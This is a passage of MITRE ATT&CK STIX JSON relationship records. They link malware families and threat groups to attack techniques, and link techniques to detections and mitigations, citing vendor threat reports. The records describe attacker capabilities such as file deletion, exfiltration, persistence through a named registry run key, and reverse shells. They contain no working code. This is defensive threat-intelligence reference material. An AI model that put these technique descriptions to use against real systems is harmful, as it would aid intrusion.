2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2dc6f64-0980-4668-957d-a09538074898","type":"relationship","created":"2020-10-02T17:08:57.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T17:08:57.537Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2e09ef2-2511-476b-8759-264843b4d772","created":"2022-02-17T16:21:31.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CERT-EE Gamaredon January 2021","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022.","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T19:01:03.117Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used tools to delete files and folders from victims' desktops and profiles.(Citation: CERT-EE Gamaredon January 2021)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2e156c1-c54b-4a60-8016-9383e1a31848","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft LSA Protection Mar 2014","description":"Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.","url":"https://technet.microsoft.com/library/dn408187.aspx"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2e37152-fda1-4d4f-8d9b-3ad85f1f764e","type":"relationship","created":"2019-01-30T16:39:54.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.720Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) can uninstall itself, including deleting its executable.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2eb983e-f4ad-45a3-9348-088bbfdbab77","type":"relationship","created":"2020-06-23T19:12:25.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-16T21:02:05.560Z","description":"Turn off or restrict access to unneeded scripting components.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2ecfb8e-b12f-42be-af49-9df0dbf66c81","type":"relationship","created":"2021-11-29T19:10:14.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T19:10:14.932Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can delete its configuration file from the targeted system.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2ed58c0-7bd3-4a94-99b3-f2ff94dea408","type":"relationship","created":"2020-07-21T18:56:44.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"}],"modified":"2020-07-21T18:56:44.940Z","description":"[Machete](https://attack.mitre.org/software/S0409) has used TLS-encrypted FTP to exfiltrate data.(Citation: Cylance Machete Mar 2017)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2f88508-4177-4294-b287-6a3494f6e738","type":"relationship","created":"2020-05-26T16:17:59.476Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-05-26T16:17:59.476Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has changed file permissions of files so they could not be modified.(Citation: Anomali Rocke March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","source_name":"Fidelis Turbo"},{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2019-08-16T18:52:50.635Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes.(Citation: Fidelis Turbo)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2fbefb3-bbb7-4c98-8ef1-8440f4ee3bd6","created":"2024-08-08T18:46:55.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:46:53.705Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) can enumerate logical drives on targeted devices.(Citation: Mandiant ROADSWEEP August 2022)(Citation: Microsoft Albanian Government Attacks September 2022)\n","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2fd57eb-3126-466a-92d0-8abfe6c1722b","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T21:51:13.877Z","description":"Monitor executed commands and arguments for actions that may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2ff468d-e5a3-4dea-a9b4-ca3583d7a72c","created":"2024-10-08T13:27:24.025Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T13:27:24.025Z","description":"Regularly update web browsers, password managers, and all related software to the latest versions. Keeping software up-to-date reduces the risk of vulnerabilities being exploited by attackers to extract stored credentials or session cookies.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3012b2b-b19c-46fc-944c-d04d9c4b897b","type":"relationship","created":"2019-06-14T17:17:07.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T17:04:18.804Z","description":"Use multi-factor authentication for user and privileged accounts.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a307922f-1cd2-4f95-aaa4-dcd40a8fcaab","type":"relationship","created":"2021-06-30T16:13:40.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T16:13:40.682Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has added persistence via the Registry key software\\microsoft\\windows\\currentversion\\run\\microsoft windows html help.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a308d350-2b2b-486a-a778-8e80f231dc68","type":"relationship","created":"2020-05-06T21:01:23.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.483Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s dispatcher can inject itself into running processes to gain higher privileges and to evade detection.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a30e2e98-d6c2-4eb1-b520-1b6757c88c47","type":"relationship","created":"2021-05-26T14:02:14.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-26T14:02:14.793Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can store harvested data in a custom database under the %TEMP% directory.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a30f4d65-bb33-4c5f-b278-e8ec73de5bb1","created":"2022-06-09T19:29:25.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"},{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:43:46.096Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has gathered user identities and credentials to gain initial access to a victim's organization; the group has also called an organization's help desk to reset a target's credentials.(Citation: MSTIC DEV-0537 Mar 2022)(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a30f6573-061d-4df0-8c0d-0f6afc5fa96c","type":"relationship","created":"2019-09-16T18:46:37.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","source_name":"Security Intelligence More Eggs Aug 2019"}],"modified":"2019-09-16T18:46:37.624Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used Comodo code-signing certificates.(Citation: Security Intelligence More Eggs Aug 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a311f17e-9f17-4f4d-b316-d844c0a0f1d2","type":"relationship","created":"2019-06-24T13:13:57.230Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","source_name":"Intezer HiddenWasp Map 2019"}],"modified":"2019-07-06T22:20:35.257Z","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) uses a script to automate tasks on the victim's machine and to assist in execution.(Citation: Intezer HiddenWasp Map 2019)","relationship_type":"uses","source_ref":"malware--fc774af4-533b-4724-96d2-ac1026316794","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3138e56-a496-486d-b11e-5e1c39a9c15d","type":"relationship","created":"2019-01-30T15:43:19.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Oceansalt Oct 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}],"modified":"2019-02-12T21:14:11.188Z","description":"[OceanSalt](https://attack.mitre.org/software/S0346) can collect the name and ID for every process running on the system.(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3157c50-410e-4218-8707-326ab0146c94","type":"relationship","created":"2021-09-29T20:46:38.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.432Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used Task Scheduler to run programs at system startup or on a scheduled basis for persistence.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a317b097-b819-441b-b344-9f129ba6cb40","type":"relationship","created":"2017-05-31T21:33:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"},{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2019-06-28T14:59:17.558Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) used RDP to move laterally in victim networks.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a31c95e7-5c2f-47ff-9b3a-30ddb0fa63b5","created":"2021-11-29T16:42:41.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.084Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can remove files from a targeted system.(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a31d295c-a474-4743-93b7-d6670db0f90c","created":"2024-09-25T13:41:34.244Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:41:34.244Z","description":"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources.","relationship_type":"detects","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a31e4c9c-c69d-445e-a669-0b0f6bdaff3e","type":"relationship","created":"2020-01-31T12:32:08.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T12:32:08.432Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a31e890a-074c-4452-95cb-b6cda3e9cbdd","type":"relationship","created":"2021-07-30T21:03:09.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Clop April 2021","url":"https://unit42.paloaltonetworks.com/clop-ransomware/","description":"Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021."}],"modified":"2021-07-30T21:03:09.022Z","description":"[Clop](https://attack.mitre.org/software/S0611) can use code signing to evade detection.(Citation: Unit42 Clop April 2021)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a31ed7a5-8ed3-46e7-8e3b-32935023e19b","created":"2022-09-30T21:18:42.043Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T21:18:42.043Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520","target_ref":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a322b9a0-57f8-4eda-a6f4-2adbc1376bfb","created":"2019-09-24T12:59:58.575Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos ZxShell Oct 2014","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.","url":"https://blogs.cisco.com/security/talos/opening-zxshell"},{"source_name":"Secureworks BRONZEUNION Feb 2019","description":"Counter Threat Unit Research Team. (2019, February 27). A Peek into BRONZE UNION’s Toolbox. Retrieved September 24, 2019.","url":"https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.536Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can launch a reverse command shell.(Citation: FireEye 